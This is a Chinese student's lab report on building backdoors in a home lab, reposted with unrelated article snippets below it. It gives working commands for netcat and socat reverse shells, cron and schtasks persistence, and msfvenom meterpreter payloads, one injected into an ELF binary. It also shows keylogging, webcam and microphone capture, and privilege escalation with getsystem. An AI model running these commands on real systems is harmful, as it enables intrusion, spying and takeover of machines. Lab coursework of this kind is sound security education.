20222318 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/23 22:58:10

1.实验内容

(一)本周课程内容

(1)深入理解后门概念及其实际案例,明晰后门对系统安全构成的潜在威胁。
(2)普及后门技术知识,涵盖各类进程隐藏技巧,并熟悉netcat、meterpreter、veil等常见工具的应用。
(3)进一步学习了shellcode注入的逻辑原理及其在不同场景下的应用。

(二)实验目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)(PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

(三)实验简单问答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

①插入来源不明的U盘
②在来源不明的网站下载文件导致植入木马
③截断我的系统与其他人的通信流(中间人攻击),将恶意代码发送至我的系统。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Windows系统

①任务计划程序:攻击者可以在Windows任务计划程序中创建定时任务,指定在特定时间或事件触发时执行恶意程序。
②动态链接库替换:当应用程序加载特定的动态链接库(DLL)时,攻击者可以通过替换合法的DLL文件为恶意DLL,使得应用程序在运行时加载恶意DLL而不是合法的DLL。
③注册表启动:恶意软件可以在Windows注册表的特定位置(如“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”等)添加键值对,指定恶意程序的路径,从而实现随系统启动而自动启动。

Linux系统

①crontab定时任务:类似于Windows的定时任务,攻击者可以在Linux的crontab中添加任务,指定在特定时间或事件触发时执行恶意程序。
②利用反弹Shell启动后门:攻击者通过让目标系统主动连接到攻击者的服务器,从而建立反向的Shell连接。利用这种技术,攻击者可以在目标系统上启动后门程序,并通过反弹的Shell连接来控制目标系统。

(3)Meterpreter有哪些给你印象深刻的功能?

①生成恶意代码,都不需要自己编写。
②屏幕截图、键盘输入、录音、开启摄像头,可以不知不觉地视奸别人。就是开启摄像头会有闪光灯,太明显了。

(4)如何发现自己有系统有没有被安装后门?

①检查是否有未知或异常的用户账户,特别是那些具有管理员权限的账户。
②查找异常登录尝试、权限提升、文件或目录访问等异常活动。
③使用防病毒软件、防火墙、漏洞扫描工具等,实时维护系统。
④定期更新系统和应用程序的补丁,以修复已知漏洞,使用最新的安全补丁和更新来保护系统免受攻击。
⑤检查系统进程和网络连接:查找是否有不认识的、可疑的或与已知后门相关的进程,查找与已知后门相关的IP地址或端口,检查是否有可疑连接。

2.实验过程

2.0准备过程

一定要先把所有防火墙、防病毒全部关了,实验全程都需要保持关闭状态,不然总是碍事!

虚拟机关闭防火墙使用apt-get install ufwufw disable命令。

查看主机和虚拟机IP地址,后面经常用
(主机地址在每个任务之间会有变化,因为做实验期间在好几个地方做了)
此处虚拟机IP地址为:192.168.197.130
主机IP地址为:192.168.1.105

2.1使用netcat获取主机操作Shell,cron启动某项任务

2.1.1 使用netcat获取主机操作Shell

先在Windows平台下载netcat,Linux自带。下载教程:> https://blog.csdn.net/muriyue6/article/details/107127217

在主机上,进入netcat所在目录,输入指令nc -l -p 8888(表示使用netcat软件监听本机8888端口,此时主机是主动攻击方)
注:也可以配置环境变量,在PATH变量中添加netcat文件夹的绝对路径,就可以在任意目录下使用nc指令了

在虚拟机上,输入指令nc 192.168.1.105 8888 -e /bin/sh(表示对于指定的ip地址和端口,在连接后运行/bin/sh指令,此时虚拟机是被攻击方)

在主机终端输入一些命令(如ls),返回虚拟机的文件信息,说明主机已经成功获取虚拟机操作Shell。

2.1.2 cron启动某项任务

Cron相关介绍

Cron表是用于配置和管理那些需按预定周期自动执行的任务的列表。用户可以通过编辑crontab文件,精确地设定任务(包括脚本或命令)在特定的时间间隔内自动运行。

黑客可能会通过以下步骤利用Cron表设置后门:
①获取系统访问权限:黑客首先需要获取对目标系统的访问权限,这通常是通过利用系统漏洞、破解密码或进行社会工程学攻击等手段实现的。
②编辑Cron表:一旦获得访问权限,黑客可能会使用crontab -e命令来编辑Cron表。他们会在Cron表中添加一个新的任务,该任务将在特定的时间间隔内自动运行一个恶意脚本或命令。
③编写恶意脚本:黑客会编写一个恶意脚本,该脚本可能包含用于反弹Shell、收集系统信息、安装恶意软件或执行其他恶意行为的代码。这个脚本需要被放置在目标系统上的某个位置,并确保Cron任务能够找到并执行它。
④设置Cron任务:在Cron表中,黑客会设置一个新的任务,指定恶意脚本的路径和执行时间。
例如,他们可能会设置一个每分钟执行一次的Cron任务,以确保恶意脚本能够持续运行并执行其恶意行为。
⑤利用后门进行攻击:一旦后门被成功设置,黑客就可以利用它来随时访问和控制系统。他们可以通过反弹Shell来执行命令、查看系统信息、传输文件或进行其他恶意操作。

我们要用编辑cron表,就要了解命令的格式。以下是一个典型的crontab条目的格式:

* * * * * command_to_be_executed
- - - - -  
| | | | |  
| | | | +----- 星期几 (0 - 7) (星期天 为0或7)  
| | | +------- 月份 (1 - 12)  
| | +--------- 日期 (1 - 31)  
| +----------- 小时 (0 - 23)  
+------------- 分钟 (0 - 59)

以下是一些具体的例子:
1.每分钟执行一次命令:* * * * * /path/to/command
2.每小时的第15分钟执行命令:15 * * * * /path/to/command
3.每天凌晨1点执行命令:0 1 * * * /path/to/command
4.每周一的凌晨2点执行命令:0 2 * * 1 /path/to/command
5.每月1号的凌晨3点执行命令:0 3 1 * * /path/to/command
6.每年1月1日的凌晨4点执行命令:0 4 1 1 * /path/to/command

实验过程
1.直接编辑crontab表

在虚拟机以root权限(或以root用户名登录)(若用普通用户名登录,则使用sudo su命令,输入密码后切换至root身份)打开命令行,输入命令crontab -e(编辑当前用户的crontab文件)

选择2:/usr/bin/vim.basic(vim的基础版)

直接滑到最后,按i进入编辑模式,输入45 * * * * /bin/netcat 192.168.1.105 8888(在每个小时的45分执行相应指令),按Esc退出编辑模式,输入 :wq! 保存并退出。

使用指令crontab -l查看时程表,可以看到添加任务成功。

在虚拟机的文件系统中查找/var/spool/cron/crontabs文件夹,可以看到新增了一个root文件。

2.通过netcat获取的主机操作shell,利用echo语句将定时任务远程注入crontab表。

在windows主机的终端(cmd)中,用同样的方式再次与虚拟机建立连接。

输入指令echo "* * * * * echo "20222318" > /home/主机名/Desktop/2318_1.txt" > /var/spool/cron/crontabs/root(该语句的意思是往crontabs中的root文件中输入"* * * * * echo "20222318" > /home/keitaro726/Desktop/2318_1.txt"这一字符串,意思是每分钟执行一次这个echo指令,而这个echo指令又是为了往2318_1.txt写入“20222318”)

输入crontab -l查看时程表,可以看到注入成功。

过一分钟后可以看到桌面上出现2318_1.txt,且内容为20222318。

2.2使用socat获取主机操作Shell, 任务计划启动

socat其实可以理解为netcat的升级版,也是为了在设备之间传递文件/数据的。Linux自带,Windows要自己下载。下载socat后,在主机上解压缩即可使用。

在socat所在的文件夹进入cmd,输入指令 socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(创建一个在TCP端口8888监听上的服务器,当有人连接到这个端口时,它会启动一个cmd.exe会话,并将这个会话的输入和输出通过 TCP 连接与客户端共享)

在虚拟机上输入socat - tcp:192.168.1.105:8888(使用socat建立一个到特定IP地址和端口的TCP连接),成功进入到Windows主机命令行。

在主机上编写一段Shell,在cmd用gcc编译好(需配置好gcc的环境变量)生成exe文件。程序的内容(不要带空格、中文)如下。

在虚拟机中,输入指令schtasks /create /sc minute /mo 1 /tn"20222318lzf" /tr D:\Code_Blocks_Workspace\20222318lzf\lzf.exe(创建一个名为 "20222318lzf" 的计划任务,该任务每分钟执行一次,执行的程序是lzf.exe)

(注:这里我多输入了y,是因为之前不小心忘记在create前输入"/"了,导致命令出错,我猜测这里输入y是为了确认覆盖掉之前错误命令所创建的任务计划。)

在主机中打开计算机管理,看到"20222318lzf"这一每分钟执行一次的任务,说明攻击成功。

2.3使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

1.用meterpreter生成后门文件

输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=虚拟机IP LPORT=8888 -f exe > backdoor2022318.exe
这一指令将生成一个名为backdoor20222318.exe的恶意可执行文件,该文件包含一个反向TCP Meterpreter shell有效载荷。当这个文件在Windows计算机上运行时,它会尝试建立一个到IP地址为192.168.197.130、端口号为8888的攻击者机器的反向连接。如果连接成功,攻击者就可以通过Meterpreter shell远程控制受感染的计算机。

2.将后门文件传至windows主机

在主机中进入netcat所在目录,输入指令nc -lv 8888 > "自定目录\backdoor20222318.exe"(监听8888端口,将监听结果输出到windows平台中的backdoor20222318.exe文件中,本质上是利用netcat将后门文件传输到windows主机上)


注:这张图片的输出结果表示8888端口无法使用。我最终并没有用这个方法传输后门文件,因为我排查不出端口无法使用的原因,我也找不到合适的端口进行数据传输,我是通过xftp直接将后门文件传输到windows主机上的,此处仅做正常命令流程的解释。


具体:只是新建了一个文件用于等待接收数据,实际上完全没有任何内容。

同时,在虚拟机中输入指令nc 目标IP地址 8888 < backdoor20222318.exe(将backdoor20222318.exe的文件内容发送到192.168.1.105:8888)


此时图片显示结果:该IP地址的该端口拒绝连接(可能是因为端口关闭或是处于过滤状态)。

解决方案:使用其他工具(如xftp)传输后门文件。

注:虚拟机可能启动时不会自动开启ssh服务,这是由系统配置文件决定的,进行ssh传输前务必先用systemctl start ssh开启ssh服务,否则就算输入正确的IP地址、用户名、密码也无法进行连接。如图。

传输后可以看到exe文件有内容了(终于!!!)卡了我五六个小时(哭)

3.配置监听模块

在虚拟机的终端输入指令msfconsole,打开Metasploit框架的主要控制台界面。这个图案纯粹是装饰品,每次启动都不一样,不用管。

输入如下命令对监听模块进行配置:
use exploit/multi/handler(选择Metasploit中的multi/handler利用模块)
set payload windows/meterpreter/reverse_tcp (设置要使用的有效载荷,和生成后门程序时设置的相同)
set LHOST 192.168.197.130 (设置后门连接到的IP地址,也就是监听端)
set LPORT 8888(设置监听数据流向的端口)

输入exploit,使监听模块开始运行。

在主机上进入backdoor20222318.exe所在文件夹,在此路径下进入cmd,输入backdoor20222318.exe,使其开始运行。

回到虚拟机,输入dir会显示backdoor20222318所在的目录(也就是桌面),可以发现已经连接至主机。

2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

1.获取目标主机音频、截屏、摄像头、击键记录

在exploit模块中输入以下指令:
record_mic(录音)

screenshot(截屏)

webcam_snap(拍摄)

keyscan_start(开始读取键盘记录)
(回到主机输入一段文字)
keyscan_dump(结束读取键盘记录)

除了键盘记录直接显示在命令行以外,可以在文件系统看到被保存的音频、截屏、拍摄记录。

2.实现提权

记住一定要用管理员身份运行cmd再运行后门程序,否则权限不够无法提权!

用指令getuid得到初始用户名DESKTOP-G4F355S\DELL。
用指令getsystem提升到系统权限。

可以看到提权成功。使用的是第六个方法(不重要)

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

在虚拟机中输入指令msfvenom -p linux/x86/meterpreter/reverse tcp LHoST=192.168.197.130 LPORT=8888 -x /home/keitaro726/Homework/Experiment2/pwn20222318-2-1 -f elf > pwn2_20222318(创建一个Linux 32位平台上的反向TCP meterpreter payload,将其注入到指定的可执行文件(pwn)中,并将注入结果保存为一个ELF格式的文件,elf文件在Linux平台是可执行文件,与exe类似)

使用指令sudo su(提升至管理员身份)chmod +x 需要提权的文件对生成的elf文件提高权限。

输入msfconsole,再次进行监听配置(注意生成的payload是linux/x86/meterpreter/reverse_tcp),输入exploit开始监听。

在虚拟机打开新的终端,运行elf文件pwn2_20222318。

回到监听终端,输入ls,发现可以打印当前目录的内容,说明成功获取shell。

3.问题及解决方案

  • 问题1:传输后门文件的时候明明把实时保护、防病毒、防火墙都关了,但是一传输过来就会被删除。
  • 问题1解决方案:实时保护功能会不定时自动开启,需要多次查看是否关闭。

  • 问题2:使用netcat传输后门文件时总显示无法解析主机名,也无法和8888端口通信,但是可以ping通。


注:这里的IP地址是Windows平台的主机地址,当时连的是教室Wifi,IP地址变了

  • 问题2解决过程:
    1.查看有无占用8888端口的进程,如果有,关闭该进程。


事实上找不到占用该端口的进程

2.下载nmap进行端口扫描,直接查看8888端口的状态


该端口处于关闭状态,服务却不是“unknown”,被一个具体的服务占用了

3.查看其他空闲端口,尝试用其他空闲端口传输


(中间实时保护突然打开了,把netcat隔离了,后面将实时保护关掉,恢复netcat才继续用)
结果还是无法利用空闲端口。

所有防火墙、防病毒、实时保护都关闭了,也能ping通百度,ping通主机,说明网络通畅。排查了很久始终不知道为什么不能利用特定端口进行传输,就放弃了使用netcat传输后门程序。

4.学习感悟、思考等

本次实验我通过不断摸索明白了netcat,socat,meterpreter的用法,学习到了很多有关端口扫描、数据传输的知识,感受到了后门程序的强大力量。但是实际上要植入一个后门程序可不容易呀,一出现一个可疑文件杀毒软件就会把你宰了,所以要做好免杀工作,而且防火墙还要处于关闭状态,恶意文件才能进来(或是你自己下载了不明链接的文件),所以如果自己警惕意识强的话,电脑想要被感染还真是不太容易,这告诉我们网络安全首要抓的就是防范的意识。除此之外,这次实验还让我体验到了黑客的感觉,看到自己的照片、自己的屏幕被截图,感觉真的很惊喜,从前觉得黑客掌握的技术距离我还很遥远,如今我也能用用三脚猫功夫了,感觉学到这种新知识新技能很开心很兴奋。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/75256.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

IDEA 类和方法的注释

IDEA 类和方法的注释 一、设置方法的注释 (1) 打开file->setting->Editor->LiveTemplates点击右上面那个+号,选择Template Group双击,然后弹出一个窗口,添加命名为KeyBoard点击OK完成,如下图1所示:图1 (2) file->setting->Editor->LiveTemplates这个…

实验2 类和对象

任务1 t.h1 #pragma once2 3 #include <string>4 5 // 类T: 声明6 class T {7 // 对象属性、方法8 public:9 T(int x = 0, int y = 0); // 普通构造函数 10 T(const T &t); // 复制构造函数 11 T(T &&t); // 移动构造函数 12 ~T();…

提权 | Windows系统

提权篇:Windows系统常见提权姿势。目录cmd提权meterpreter提权getsystemsteal_tokenmigrate令牌窃取(MS16-075)烂土豆提权步骤烂土豆提权原理sc命令提权抓本地密码提权其他工具pr工具内核提权WindowsVulScan cmd提权 前言:我们getshell一个用windows部署的网站后,通过蚁剑或…

08.Sleuth(Micrometer)+ZipKin分布式链路追逐

1.Sleuth进入维护模式替代方案 -> Micrometer Tracing 2.分布式链路追踪概述 2.1 出现背景 在微服务框架中,一个由客户端发起的请求在后端系统中会经过多个不同的服务节点调用来协调产生最后的结果,每一个前端请求都会形成一条复杂的分布式服务调用链路,链路中的任何一环…

sream

构建 arrays.stream(数组) 根据数组构建 collection.stream 根据集合构建 stream.of 根据对象创建 生成 Instream.range(a,b) 合并 stream.concat(流1,流2)

SvnKit提交代码

官网地址:https://svnkit.com/documentation.html#high-level-api svnkit提交代码提供的API 官方api地址 官网地址:https://svnkit.com/javadoc/org/tmatesoft/svn/core/wc/SVNClientManager.html 官方案例地址 https://wiki.svnkit.com/Committing_To_A_Repository svnkit调…

基于ubuntu配置环境时遇到的问题

新手都会遇到的配置问题:问了一下,具体原因是 连不上archive.ubuntu.com 解决方案是: 查找一下IP地址,然后ping一下 在 Ubuntu 中查找地址的指令是 $ ip addr show但是我先不ping,我先用vi讲我原来的源注释掉!(PS:这里真的很小心,一直在normal和insert模式下来回切换!!…

线性 DP

最长上升子序列问题是一个经典的线性动态规划问题。 例题:B3637 最长上升子序列 分析:设原始数组为 \(a\),定义状态 \(dp_i\) 表示以 \(a_i\) 结尾的上升子序列的最大长度。注意这个状态定义中有两个重点,第一个重点是 \(dp_i\) 只维护所有原始序列中以 \(a_i\) 结尾的上升…